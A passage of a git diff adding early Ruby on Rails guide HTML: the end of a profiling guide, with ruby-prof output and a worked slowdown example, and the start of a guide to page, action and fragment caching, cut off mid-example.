+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 2279160
+Total: 509.724609</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>%self total self wait child calls name
+ 4.62 23.57 23.57 0.00 0.00 34 String#split
+ 3.95 57.66 20.13 0.00 37.53 3 <Module::YAML>#quick_emit
+ 2.82 23.70 14.35 0.00 9.34 2 <Module::YAML>#quick_emit-1
+ 1.37 35.87 6.96 0.00 28.91 1 ActionView::Helpers::FormTagHelper#form_tag
+ 1.35 7.69 6.88 0.00 0.81 1 ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
+ 1.06 6.09 5.42 0.00 0.67 90 String#gsub
+ 1.01 5.13 5.13 0.00 0.00 27 Array#-</tt></pre>
+</div></div>
+</div></div>
+<div class="para"><p>Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory <strong>(or is it strictly into the heap) can I get clarification on this minor point?</strong></p></div>
+<div class="para"><p>So for <Module::YAML>#quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.</p></div>
+<div class="exampleblock">
+<div class="title">Example: Flat File Objects</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 2279160
+Total: 6537.000000</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>%self total self wait child calls name
+15.16 1096.00 991.00 0.00 105.00 66 Hash#each
+ 5.25 343.00 343.00 0.00 0.00 4 Mysql::Result#each_hash
+ 4.74 2203.00 310.00 0.00 1893.00 42 Array#each
+ 3.75 4529.00 245.00 0.00 4284.00 1 ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
+ 2.00 136.00 131.00 0.00 5.00 90 String#gsub
+ 1.73 113.00 113.00 0.00 0.00 34 String#split
+ 1.44 111.00 94.00 0.00 17.00 31 Array#each-1</tt></pre>
+</div></div>
+</div></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>#TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.</tt></pre>
+</div></div>
+<h3 id="_graph_files">5.3. Graph Files</h3>
+<div class="para"><p>While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found <a href="examples/graph.html">Here</a></p></div>
+<div class="para"><p>#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
+ )</p></div>
+<div class="exampleblock">
+<div class="title">Example: Graph File</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 21277412</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt> %total %self total self children calls Name
+/____________________________________________________________________________/
+100.00% 0.00% 8.77 0.00 8.77 1 #toplevel*
+ 8.77 0.00 8.77 1/1 Object#run_primes
+/____________________________________________________________________________/
+ 8.77 0.00 8.77 1/1 #toplevel
+100.00% 0.00% 8.77 0.00 8.77 1 Object#run_primes*
+ 0.02 0.00 0.02 1/1 Object#make_random_array
+ 2.09 0.00 2.09 1/1 Object#find_largest
+ 6.66 0.00 6.66 1/1 Object#find_primes
+/____________________________________________________________________________/
+ 0.02 0.02 0.00 1/1 Object#make_random_array
+0.18% 0.18% 0.02 0.02 0.00 1 Array#each_index
+ 0.00 0.00 0.00 500/500 Kernel.rand
+ 0.00 0.00 0.00 500/501 Array#[]=
+/____________________________________________________________________________/</tt></pre>
+</div></div>
+</div></div>
+<div class="para"><p>As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.</p></div>
+<div class="para"><p>So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.</p></div>
+<h3 id="_tree_files">5.4. Tree Files</h3>
+<div class="para"><p>It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness</p></div>
+<div class="para"><div class="title">KCachegrind Graph</div><p><span class="image">
+<img src="images/kgraph.png" alt="Graph created by KCachegrind" title="Graph created by KCachegrind" />
+</span></p></div>
+<div class="para"><div class="title">KCachegrind List</div><p><span class="image">
+<img src="images/klist.png" alt="List created by KCachegrind" title="List created by KCachegrind" />
+</span></p></div>
+<div class="para"><p>#TODO Add a bit more information to this.</p></div>
+</div>
+<h2 id="_getting_to_the_point_of_all_of_this">6. Getting to the Point of all of this</h2>
+<div class="sectionbody">
+<div class="para"><p>Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section</p></div>
+</div>
+<h2 id="_real_life_example">7. Real Life Example</h2>
+<div class="sectionbody">
+<h3 id="_the_setup">7.1. The setup</h3>
+<div class="para"><p>So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+ get <span style="color: #FF0000">'/'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="title">Example: Output</div>
+<div class="content">
+<pre><tt>HomepageTest#test_homepage (115 ms warmup)
+ process_time: 591 ms
+ memory: 3052.90 KB
+ objects: 59471</tt></pre>
+</div></div>
+<div class="para"><p>Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.</p></div>
+<div class="listingblock">
+<div class="title">Example: Default</div>
+<div class="content">
+<pre><tt>HomepageTest#test_homepage (19 ms warmup)
+ process_time: 26 ms
+ memory: 298.79 KB
+ objects: 1917</tt></pre>
+</div></div>
+<div class="para"><p>that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.</p></div>
+<div class="listingblock">
+<div class="title">Example: Process time</div>
+<div class="content">
+<pre><tt>20.73 0.39 0.12 0.00 0.27 420 Pathname#cleanpath_aggressive
+17.07 0.14 0.10 0.00 0.04 3186 Pathname#chop_basename
+ 6.47 0.06 0.04 0.00 0.02 6571 Kernel#===
+ 5.04 0.06 0.03 0.00 0.03 840 Pathname#initialize
+ 5.03 0.05 0.03 0.00 0.02 4 ERB::Compiler::ExplicitScanner#scan
+ 4.51 0.03 0.03 0.00 0.00 9504 String#==
+ 2.94 0.46 0.02 0.00 0.44 1393 String#gsub
+ 2.66 0.09 0.02 0.00 0.07 480 Array#each
+ 2.46 0.01 0.01 0.00 0.00 3606 Regexp#to_s</tt></pre>
+</div></div>
+<div class="para"><p>Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. <strong>If we can get rid of or shorten these processes we can make our pages run much quicker</strong>.</p></div>
+<div class="para"><p>Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.</p></div>
+<div class="listingblock">
+<div class="title">Example: Objects Created</div>
+<div class="content">
+<pre><tt>20.74 34800.00 12324.00 0.00 22476.00 420 Pathname#cleanpath_aggressive
+16.79 18696.00 9978.00 0.00 8718.00 3186 Pathname#chop_basename
+11.47 13197.00 6813.00 0.00 6384.00 480 Array#each
+ 8.51 41964.00 5059.00 0.00 36905.00 1386 String#gsub
+ 6.07 3606.00 3606.00 0.00 0.00 3606 Regexp#to_s</tt></pre>
+</div></div>
+<div class="para"><p>nope nothing new here. Lets look at memory usage</p></div>
+<div class="listingblock">
+<div class="title">Example: Memory Consuption</div>
+<div class="content">
+<pre><tt> 40.17 1706.80 1223.70 0.00 483.10 3186 Pathname#chop_basename
+ 14.92 454.47 454.47 0.00 0.00 3606 Regexp#to_s
+ 7.09 2381.36 215.99 0.00 2165.37 1386 String#gsub
+ 5.08 231.19 154.73 0.00 76.46 420 Pathname#prepend_prefix
+ 2.34 71.35 71.35 0.00 0.00 1265 String#initialize_copy</tt></pre>
+</div></div>
+<div class="para"><p>Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+</tt></pre></div></div>
+<div class="para"><p>That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%if request.env["HTTP_USER_AGENT"] =~ /Opera/%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+</tt></pre></div></div>
+<div class="para"><p>I'll now try my test again.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>process_time: 75 ms
+ memory: 519.95 KB
+ objects: 6537</tt></pre>
+</div></div>
+<div class="para"><p>Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.</p></div>
+</div>
+<h2 id="_get_yourself_a_game_plan">8. Get Yourself a Game Plan</h2>
+<div class="sectionbody">
+<div class="para"><p>You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -</p></div>
+<h3 id="_the_analysis_process">8.1. The Analysis Process</h3>
+<div class="para"><p>I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.</p></div>
+<div class="para"><p>For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.</p></div>
+<div class="para"><p>Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Develop a set of variables and processes to measure in order to answer this question!
+</p>
+</li>
+<li>
+<p>
+Profile based on the question and variables. Key problems to avoid when designing this experiment are:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
+</p>
+</li>
+<li>
+<p>
+Cross Contamination: Make sure that runs from one test do not harm the other tests.
+</p>
+</li>
+<li>
+<p>
+Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
+</p>
+</li>
+<li>
+<p>
+Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
+</p>
+</li>
+<li>
+<p>
+Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
+</p>
+</li>
+</ul></div>
+</li>
+<li>
+<p>
+Do a small run of the experiment to verify the design.
+</p>
+</li>
+<li>
+<p>
+Use the small run to determine a proper sample size.
+</p>
+</li>
+<li>
+<p>
+Run the test.
+</p>
+</li>
+<li>
+<p>
+Perform the analysis on the results and determine where to go from there.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.</p></div>
+</div>
+<h2 id="_other_profiling_tools">9. Other Profiling Tools</h2>
+<div class="sectionbody">
+<div class="para"><p>There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.</p></div>
+<h3 id="_httperf">9.1. httperf</h3>
+<div class="para"><p><a href="http://www.hpl.hp.com/research/linux/httperf/">http://www.hpl.hp.com/research/linux/httperf/</a></p></div>
+<div class="para"><p>A necessary tool in your arsenal. Very useful for load testing your website.</p></div>
+<div class="para"><p>#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.</p></div>
+<h3 id="_rails_analyzer">9.2. Rails Analyzer</h3>
+<div class="para"><p>The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
+</p>
+</li>
+<li>
+<p>
+The Action Profiler similar to Ruby-Prof profiler.
+</p>
+</li>
+<li>
+<p>
+rails_stat which gives a live counter of requests per second of a running Rails app.
+</p>
+</li>
+<li>
+<p>
+The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Their project homepage can be found at <a href="http://rails-analyzer.rubyforge.org/">http://rails-analyzer.rubyforge.org/</a></p></div>
+<div class="para"><p>The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.</p></div>
+<h4 id="_sysloglogger">9.2.1. SyslogLogger</h4>
+<div class="para"><p>SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.</p></div>
+<div class="para"><p>More information can be found out at <a href="http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html">http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html</a></p></div>
+<div class="para"><p>If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach</p></div>
+<h4 id="_a_hodel_3000_compliant_logger_for_the_rest_of_us">9.2.2. A Hodel 3000 Compliant Logger for the Rest of Us</h4>
+<div class="para"><p>Directions taken from
+<a href="http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb">link to module file</a></p></div>
+<div class="para"><p>Just put the module in your lib directory and add this to your environment.rb in it's config portion.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>require 'hodel_3000_compliant_logger'
+config.logger = Hodel3000CompliantLogger.new(config.log_path)</tt></pre>
+</div></div>
+<div class="para"><p>It's that simple. Your log output on restart should look like this.</p></div>
+<div class="listingblock">
+<div class="title">Example: Hodel 3000 Example</div>
+<div class="content">
+<pre><tt>Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Parameters: {"action"=>"shipping", "controller"=>"checkout"}
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mBook Columns (0.003155)[0m [0;1mSHOW FIELDS FROM `books`[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;35;1mBook Load (0.000881)[0m [0mSELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) [0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mShippingAddress Columns (0.002683)[0m [0;1mSHOW FIELDS FROM `shipping_addresses`[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;35;1mBook Load (0.000362)[0m [0mSELECT ounces FROM `books` WHERE (`books`.`id` = 1) [0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering template within layouts/application
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering checkout/shipping
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mBook Load (0.000548)[0m [0;1mSELECT * FROM `books`
+WHERE (sold = 0) LIMIT 3[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;35;1mAuthor Columns (0.002571)[0m [0mSHOW FIELDS FROM `authors`[0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+[4;36;1mAuthor Load (0.000811)[0m [0;1mSELECT * FROM `authors` WHERE (`authors`.`id` = 1) [0m
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendered store/_new_books (0.01358)
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]</tt></pre>
+</div></div>
+<h3 id="_palmist">9.3. Palmist</h3>
+<div class="para"><p>An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000
+<a href="http://www.flyingmachinestudios.com/projects/">http://www.flyingmachinestudios.com/projects/</a></p></div>
+<h3 id="_new_relic">9.4. New Relic</h3>
+<div class="para"><p><a href="http://www.newrelic.com/">http://www.newrelic.com/</a></p></div>
+<div class="para"><p>Pretty nifty performance tools, pricey though. They do have a basic free
+service both for when in development and when you put your application into production. Very simple installation and signup.</p></div>
+<div class="para"><p>#TODO more in-depth without being like an advertisement.</p></div>
+<h4 id="_manage">9.4.1. Manage</h4>
+<div class="para"><p>Like new relic a production monitoring tool.</p></div>
+</div>
+<h2 id="_changelog">10. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 17, 2008: First revision by Pratik
+</p>
+</li>
+<li>
+<p>
+September 6, 2008: Initial version by Matthew Bergman <<a href="mailto:MzbPhoto@gmail.com">MzbPhoto@gmail.com</a>>
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/caching_with_rails.html b/railties/doc/guides/html/caching_with_rails.html new file mode 100644 index 0000000000..df30c46c35 --- /dev/null +++ b/railties/doc/guides/html/caching_with_rails.html @@ -0,0 +1,577 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Caching with Rails: An overview</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_basic_caching">Basic Caching</a> + <ul> + + <li><a href="#_page_caching">Page Caching</a></li> + + <li><a href="#_action_caching">Action Caching</a></li> + + <li><a href="#_fragment_caching">Fragment Caching</a></li> + + <li><a href="#_sweepers">Sweepers</a></li> + + <li><a href="#_sql_caching">SQL Caching</a></li> + + <li><a href="#_cache_stores">Cache stores</a></li> + + </ul> + </li> + <li> + <a href="#_advanced_caching">Advanced Caching</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Caching with Rails: An overview</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.</p></div>
+</div>
+</div>
+<h2 id="_basic_caching">1. Basic Caching</h2>
+<div class="sectionbody">
+<div class="para"><p>This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.</p></div>
+<div class="para"><p>To get started make sure Base.perform_caching is set to true for your
+environment.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Base<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<h3 id="_page_caching">1.1. Page Caching</h3>
+<div class="para"><p>Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver, without ever having to go through the
+Rails stack at all. Obviously, this is super fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with.</p></div>
+<div class="para"><p>So, how do you enable this super-fast cache behavior? Simple, let's say you
+have a controller called ProductController and a <em>list</em> action that lists all
+the products</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductController <span style="color: #990000"><</span> ActionController
+
+ cache_page <span style="color: #990000">:</span>list
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The first time anyone requestsion products/list, Rails will generate a file
+called list.html and the webserver will then look for that file before it
+passes the next request for products/list to your Rails application.</p></div>
+<div class="para"><p>By default, the page cache directory is set to Rails.public_path (which is
+usually set to RAILS_ROOT + "/public") and this can be configured by changing
+the configuration setting Base.cache_public_directory</p></div>
+<div class="para"><p>The page caching mechanism will automatically add a .html exxtension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages and this can be configured by changing the
+configuration setting Base.page_cache_extension</p></div>
+<div class="para"><p>In order to expire this page when a new product is added we could extend our
+example controler like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductController <span style="color: #990000"><</span> ActionController
+
+ cache_page <span style="color: #990000">:</span>list
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>list
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.</p></div>
+<h3 id="_action_caching">1.2. Action Caching</h3>
+<div class="para"><p>One of the issues with page caching is that you cannot use it for pages that
+require to restrict access somehow. This is where Action Caching comes in.
+Action Caching works like Page Caching except for the fact that the incoming
+web request does go from the webserver to the Rails stack and Action Pack so
+that before_filters can be run on it before the cache is served, so that
+authentication and other restrictions can be used while still serving the
+result of the output from a cached copy.</p></div>
+<div class="para"><p>Clearing the cache works in the exact same way as with Page Caching.</p></div>
+<div class="para"><p>Let's say you only wanted authenticated users to edit or create a Product
+object, but still cache those pages:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductController <span style="color: #990000"><</span> ActionController
+
+ before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+ cache_page <span style="color: #990000">:</span>list
+ caches_action <span style="color: #990000">:</span>edit
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>list
+ expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>edit
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>And you can also use :if (or :unless) to pass a Proc that specifies when the
+action should be cached. Also, you can use :layout ⇒ false to cache without
+layout so that dynamic information in the layout such as logged in user info
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.</p></div>
+<div class="para"><p>[More: more examples? Walk-through of action caching from request to response?
+ Description of Rake tasks to clear cached files? Show example of
+ subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
+ to expire_action?]</p></div>
+<h3 id="_fragment_caching">1.3. Fragment Caching</h3>
+<div class="para"><p>Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment caching.</p></div>
+<div class="para"><p>Fragment caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in.</p></div>
+<div class="para"><p>As an example, if you wanted to show all the orders placed on your website in
+real time and didn't want to cache that part of the page, but did want to
+cache the part of the page which lists all products available, you could use
+this piece of code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% Order.find_recent.each do |o| %></span>
+ <span style="color: #FF0000"><%= o.buyer.name %></span> bought <span style="color: #FF0000"><% o.product.name %></span>
+<span style="color: #FF0000"><% end %></span>
+
+<span style="color: #FF0000"><% cache do %></span>
+ All available products<span style="color: #990000">:</span>
+ <span style="color: #FF0000"><% Product.find(:all).each do |p| %></span>
